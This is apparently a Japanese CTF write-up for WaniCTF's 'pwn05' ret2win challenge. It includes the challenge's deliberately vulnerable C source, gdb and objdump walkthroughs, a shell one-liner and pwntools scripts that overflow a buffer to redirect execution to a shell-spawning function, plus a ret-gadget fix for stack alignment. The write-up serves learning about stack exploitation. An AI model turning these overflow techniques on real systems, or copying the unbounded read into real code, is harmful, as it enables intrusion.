これが pwn問題 に関する初投稿!
vuln関数とwin関数があるが,main関数からはvuln関数のみcallされる。
win関数を呼べばshellがとれるが,win関数はどこからもcallされない。
vuln関数にはbofの脆弱性がある。
main関数からvuln関数をcallした時にスタックに積まれたvuln関数のリターンアドレスをbofでwin関数のアドレスに書き換え,どこからもcallされていないwin関数を呼び出すという問題です。
また,スタックのアライメントについても学習できます。
攻撃コード1
$ (echo -e "AAAAAAAAAAAAAAAAAAAAAA\x38\x08\x40"; cat) | ./pwn05
攻撃コード2
import pwn
# io = pwn.remote("ret.wanictf.org", 9005)
io = pwn.process("./pwn05")
ret = io.readuntil("What's your name?: ")
print(ret)
# addr = 0x400837
addr = 0x400838
s = b"A" * 22
s += pwn.p64(addr)
print(s)
io.send(s)
io.interactive()
攻撃コード3 (ret でアライメント調整)
import pwn
# io = pwn.remote("ret.wanictf.org", 9005)
io = pwn.process("./pwn05")
ret = io.readuntil("What's your name?: ")
print(ret)
win_addr = 0x400837
ret_addr = 0x400696
s = b"A" * 22
s += pwn.p64(ret_addr)
s += pwn.p64(win_addr)
print(s)
io.send(s)
io.interactive()
問題文
nc ret.wanictf.org 9005
stackの仕組みを学びましょう。
関数の戻りアドレスはstackに積まれます。
"congraturation"が出力されてもスタックのアライメントの問題でwin関数のアドレスから少しずらす必要がある場合があります。
(echo -e "\x11\x11\x11\x11\x11\x11"; cat) | nc ret.wanictf.org 9005
念のためpwntoolsのサンプルプログラム「pwn05_sample.py」を載せておきました。
配布データ
pwn05.c
pwn05
# include <stdio.h>
# include <unistd.h>
# include <stdlib.h>
# include <string.h>
char str_head[] = "Hello ";
char str_tail[] = "!\n";
void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);
void win()
{
puts("congratulation!");
system("/bin/sh");
exit(0);
}
void vuln()
{
char name[10];
int ret;
printf("What's your name?: ");
ret = read(0, name, 0x100);
name[ret - 1] = 0;
write(0, str_head, strlen(str_head));
write(0, name, strlen(name));
write(0, str_tail, strlen(str_tail));
{ //for learning stack
register unsigned long rsp asm("rsp");
register unsigned long rbp asm("rbp");
debug_stack_dump(rsp, rbp);
}
}
int main()
{
init();
while (1)
{
vuln();
}
}
void init()
{
alarm(30);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
unsigned long i;
printf("\n***start stack dump***\n");
i = rsp;
while (i <= rbp + 32)
{
unsigned long *p;
p = (unsigned long *)i;
printf("0x%lx: 0x%016lx", i, *p);
if (i == rsp)
{
printf(" <- rsp");
}
else if (i == rbp)
{
printf(" <- rbp");
}
else if (i == rbp + 8)
{
printf(" <- return address");
}
printf("\n");
i += 8;
}
printf("***end stack dump***\n\n");
}
どこからも呼ばれない win() を呼び出せばフラグが取れそうです。
とりあえず pwn05 を実行してみます。
$ ./pwn05
What's your name?: AAA
Hello AAA!
***start stack dump***
0x7fffe10fb790: 0x000000414141b890 <- rsp
0x7fffe10fb798: 0x0000000400400974
0x7fffe10fb7a0: 0x00007fffe10fb7b0 <- rbp
0x7fffe10fb7a8: 0x0000000000400928 <- return address
0x7fffe10fb7b0: 0x0000000000400a50
0x7fffe10fb7b8: 0x00007f4f5a021bf7
0x7fffe10fb7c0: 0x0000000000000001
***end stack dump***
What's your name?:
スタックが見えていますが,ここはあえて,gdbで解きます。
それでは,gdbスタート
$ gdb -q ./pwn05
Reading symbols from ./pwn05...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x400914
gdb-peda$ r
Starting program: /mnt/c/pwn05
gdb-peda$ pdisass main
Dump of assembler code for function main:
0x0000000000400910 <+0>: push rbp
0x0000000000400911 <+1>: mov rbp,rsp
=> 0x0000000000400914 <+4>: mov eax,0x0
0x0000000000400919 <+9>: call 0x40092a <init>
0x000000000040091e <+14>: mov eax,0x0
0x0000000000400923 <+19>: call 0x40085d <vuln>
0x0000000000400928 <+24>: jmp 0x40091e <main+14>
End of assembler dump.
call 0x40085d vuln の戻りアドレス 0x400928 がスタックに積まれているはずです。
※main関数から見たら次の行ですが,RIP(命令ポインタ)は1つだけでvuln関数内を指し示すので,「次」がわからなくなります。そこで関数呼び出しにスタックが使われます。
gdb-peda$ si
gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
=> 0x000000000040085d <+0>: push rbp
0x000000000040085e <+1>: mov rbp,rsp
0x0000000000400861 <+4>: sub rsp,0x10
0x0000000000400865 <+8>: lea rdi,[rip+0x280] # 0x400aec
0x000000000040086c <+15>: mov eax,0x0
0x0000000000400871 <+20>: call 0x400710 <printf@plt>
0x0000000000400876 <+25>: lea rax,[rbp-0xe]
0x000000000040087a <+29>: mov edx,0x100
0x000000000040087f <+34>: mov rsi,rax
0x0000000000400882 <+37>: mov edi,0x0
0x0000000000400887 <+42>: call 0x400730 <read@plt>
0x000000000040088c <+47>: mov DWORD PTR [rbp-0x4],eax
0x000000000040088f <+50>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000400892 <+53>: sub eax,0x1
0x0000000000400895 <+56>: cdqe
0x0000000000400897 <+58>: mov BYTE PTR [rbp+rax*1-0xe],0x0
0x000000000040089c <+63>: lea rdi,[rip+0x2007d5] # 0x601078 <str_head>
0x00000000004008a3 <+70>: call 0x4006e0 <strlen@plt>
0x00000000004008a8 <+75>: mov rdx,rax
0x00000000004008ab <+78>: lea rsi,[rip+0x2007c6] # 0x601078 <str_head>
0x00000000004008b2 <+85>: mov edi,0x0
0x00000000004008b7 <+90>: call 0x4006d0 <write@plt>
0x00000000004008bc <+95>: lea rax,[rbp-0xe]
0x00000000004008c0 <+99>: mov rdi,rax
0x00000000004008c3 <+102>: call 0x4006e0 <strlen@plt>
0x00000000004008c8 <+107>: mov rdx,rax
0x00000000004008cb <+110>: lea rax,[rbp-0xe]
0x00000000004008cf <+114>: mov rsi,rax
0x00000000004008d2 <+117>: mov edi,0x0
0x00000000004008d7 <+122>: call 0x4006d0 <write@plt>
0x00000000004008dc <+127>: lea rdi,[rip+0x20079c] # 0x60107f <str_tail>
0x00000000004008e3 <+134>: call 0x4006e0 <strlen@plt>
0x00000000004008e8 <+139>: mov rdx,rax
0x00000000004008eb <+142>: lea rsi,[rip+0x20078d] # 0x60107f <str_tail>
0x00000000004008f2 <+149>: mov edi,0x0
0x00000000004008f7 <+154>: call 0x4006d0 <write@plt>
0x00000000004008fc <+159>: mov rdx,rbp
0x00000000004008ff <+162>: mov rax,rsp
0x0000000000400902 <+165>: mov rsi,rdx
0x0000000000400905 <+168>: mov rdi,rax
0x0000000000400908 <+171>: call 0x400977 <debug_stack_dump>
0x000000000040090d <+176>: nop
0x000000000040090e <+177>: leave
0x000000000040090f <+178>: ret
End of assembler dump.
call read より後で, 文字列の末尾を 0x00 にしている
mov BYTE PTR [rbp+rax*1-0xe],0x0
が終わった 0x000000000040089c にブレークポイントを設定し, c (continue)で流します。
gdb-peda$ b *0x000000000040089c
Breakpoint 2 at 0x40089c
gdb-peda$ c
Continuing.
What's your name?:
What's your name?: ときますので, AAA を入力
スタックに入力した AAA と 戻りアドレス 0x400928 があります。
さらに詳細にスタックを確認します。
gdb-peda$ x/10xg 0x7ffffffee290
今は, A は3個ですが蛍光ペンで塗った部分だけ,つまり,A が 22個必要です。
次に,win のアドレスを調べます。
gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x400837 <win>
攻撃してみます。
$ (echo -e "AAAAAAAAAAAAAAAAAAAAAA\x37\x08\x40"; cat) | ./pwn05
congratulation!と出ていますが,シェルは動きません。
問題のヒント
"congraturation"が出力されてもスタックのアライメントの問題でwin関数のアドレスから少しずらす必要がある場合があります。
push rbp の次に飛ばせばよさそうです。
もう一度 gdb で win 関数を調べます
gdb-peda$ pdisass win
Dump of assembler code for function win:
0x0000000000400837 <+0>: push rbp
0x0000000000400838 <+1>: mov rbp,rsp
0x000000000040083b <+4>: lea rdi,[rip+0x292] # 0x400ad4
0x0000000000400842 <+11>: call 0x4006c0 <puts@plt>
0x0000000000400847 <+16>: lea rdi,[rip+0x296] # 0x400ae4
0x000000000040084e <+23>: call 0x400700 <system@plt>
0x0000000000400853 <+28>: mov edi,0x0
0x0000000000400858 <+33>: call 0x400740 <exit@plt>
End of assembler dump.
push rbp の次は 0x400838 です。
再度,攻撃してみます。
$ (echo -e "AAAAAAAAAAAAAAAAAAAAAA\x38\x08\x40"; cat) | ./pwn05
retでアライメント調整
ret は pop + jmp
ret のアドレスを objdump で調べる
objdump -d -M intel ./pwn05 | less
/ c3
400696: c3 ret
0x400696だ
import pwn
# io = pwn.remote("ret.wanictf.org", 9005)
io = pwn.process("./pwn05")
ret = io.readuntil("What's your name?: ")
print(ret)
win_addr = 0x400837
ret_addr = 0x400696
s = b"A" * 22
s += pwn.p64(ret_addr)
s += pwn.p64(win_addr)
print(s)
io.send(s)
io.interactive()
参考にしたサイト(ありがとうございました。)